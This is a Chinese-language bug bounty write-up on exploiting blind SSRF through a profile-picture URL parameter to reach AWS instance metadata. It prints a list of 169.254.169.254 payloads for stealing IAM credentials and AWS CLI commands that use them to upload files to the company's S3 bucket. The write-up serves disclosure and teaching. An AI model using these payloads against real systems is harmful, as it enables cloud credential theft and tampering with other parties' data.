简介
今天分享国外白帽Amr Mustafa如何利用 SSRF 盲注发现和利用关键漏洞的经验。
什么是SSRF？
服务器端请求伪造（SSRF）是一种允许攻击者通过服务器端应用程序发出请求到未预期位置的网络安全漏洞，攻击者可以造成服务器连接到组织内部的服务或任意外部系统，从而可能泄露敏感数据。
什么是SSRF盲注？
SSRF盲注是指应用程序可以被诱导向提供的URL发出后台HTTP请求，但前端响应中不返回后台请求的结果。
现在我们知道了SSRF 和 SSRF 盲注之间的区别，那么让我们看看本次的实际案例吧。
挖掘过程
首先假设目标域名是redacted.com，注册并创建了一个新帐户，访问https://redacted.com/profile 后，有2处上传图片的选项：
- 从你计算机的本地上传文件
- 使用 Facebook 个人资料图片
尝试第一个选项（从本地上传图片），可以看到上传的图像是可公开访问的 URL，并且在上传图片成功后，系统响应消息为“Your Account details were successfully updated（你的帐户详细信息已成功更新）”。
可以看到图片存储在具有可预测 Amazon S3 存储桶中，可以不受任何访问限制地访问该图片。
<img src="[redacted].s3.region.amazonaws.com/[random_hash].jpeg">
访问该URL：
经过一番挖掘，并没能发现什么漏洞。
转而选择第二个选项（使用 Facebook 个人资料图片）进行上传，前提是，必须将你的 Facebook 帐户与平台帐户连接起来。
连接你的个人 Facebook 帐户后，当点击了第二个选项并拦截了请求时，白帽小哥看到了一个名为profile_picture_url的新参数：
POST /profile HTTP/2
Host: account.redacted.com
Content-Type: multipart/form-data; boundary=---------------------------154478894334976744053178475009
-----------------------------154478894334976744053178475009
Content-Disposition: form-data; name="first_name"
Attacker
-----------------------------154478894334976744053178475009
Content-Disposition: form-data; name="last_name"
Attacker
-----------------------------154478894334976744053178475009
Content-Disposition: form-data; name="profile_picture_url"
https://scontent.fcai19-12.fna.fbcdn.net/v/t39.30808-1/465664427_1119561922865378_4789856880901123456_n.jpg
-----------------------------154478894334976744053178475009服务器响应：
{"your account details were successfully updated"}
查看源代码后，可以看到图片源更改为 s3 存储桶中的另一个哈希文件：
<img src="[redacted].s3.region.amazonaws.com/[Different_Random_Hash].jpeg">
该请求发送到repeater并测试“profile_picture_url”参数，首先将collaborator链接放入，查看是否存在SSRF盲注：
Nice！有惊喜！
可以获得 HTTP 和 DNS 交互，通过IP查询， 确认来自 Amazon AWS 主机。
虽然有了一个 SSRF 盲注，但我们无法执行内部端口扫描和进一步利用。我们除了收到服务器响应的“你的帐户详细信息已成功更新”外，就没有其它任何有用的信息了。
然而，在测试第一个选项时 -“后端处理图像上传并将其存储在 标签内的 Amazon S3 存储桶中”，访问 https://redacted.com/profile ，查看源代码，发现它会将其保存为 HTML 文件。
访问该 HTML的URL 后：
居然是collaborator主机信息！
这意味着我们可以发出内部请求并获取公开保存在公司 S3 存储桶中的数据。
由于主机位于 AWS EC2 环境中，因此我们可以使用“http://169.254.169.254/latest/meta-data/iam/security-credentials/” payloads。
检索 IAM 用户：
访问 标记内的 URL ：
太棒了！获取用户后，我们可以注入以下payloads来窃取 IAM 用户凭证：
http://169.254.169.254/latest/meta-data/iam/security-credentials/<IAM_user>”
“http://169.254.169.254/latest/meta-data/iam/security-credentials/
图像标签内的 URL 是一个 JSON 端点，当点击之后：
成功窃取用户凭证！
利用以下Payloads，可以获取更多敏感信息：
http://169.254.169.254/latest/dynamic/instance-identity/document
http://169.254.169.254/latest/meta-data/block-device-mapping/
http://169.254.169.254/latest/meta-data/security-groups
http://169.254.169.254/latest/dynamic/instance-identity/document
http://169.254.169.254/latest/meta-data/iam/info
http://169.254.169.254/latest/meta-data/mac
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key
http://169.254.169.254/latest/dynamic/instance-identity/signature
http://169.254.169.254/latest/dynamic/instance-identity/pkcs7
http://169.254.169.254/latest/dynamic/instance-identity/rsa2048
在获取了用户凭证后，就可以尝试将其升级为 RCE（远程代码执行）或其它漏洞利用。
比如，使用用户凭证访问 AWS：
export AWS_ACCESS_KEY_ID= [Your_Access_Key]
export AWS_SECRET_ACCESS_KEY= [SecretKey]
export AWS_SESSION_TOKEN= [Token]
export AWS_DEFAULT_REGION= [Region]使用“get-caller-identity”命令返回有关其凭证用于调用操作的 IAM 用户或角色的详细信息：
aws sts get-caller-identity
还使用命令来获取该存储桶中上传的文件列表：
aws s3 ls s3://<bucket's_name>
可惜得到的是“Permission Denied”，看来 IAM 用户的权限较低，尝试使用命令上传文件：
echo "POC By Drakenkun & Bedo" > POC.txt
aws s3 CP POC.txt s3://<bucket's_name>
访问“https://[redacted].s3.region.amazonaws.com/POC.txt” :
尝试上传简单的 html 文件，用 javascript 来弹窗也是可以的：
同时该账户还拥有“删除”权限，允许我们从 S3 存储桶中删除任何内容。
白帽小哥第一时间报告了该漏洞，最终在YesWeHack平台获得了不菲的赏金奖励：
在整个渗透测试期间，白帽小哥还参考了一些资源：
https://docs.aws.amazon.com/cli/latest/reference/s3/?source=post_page—–536505cc4352
你学到了么？
以上内容由骨哥翻译并整理。
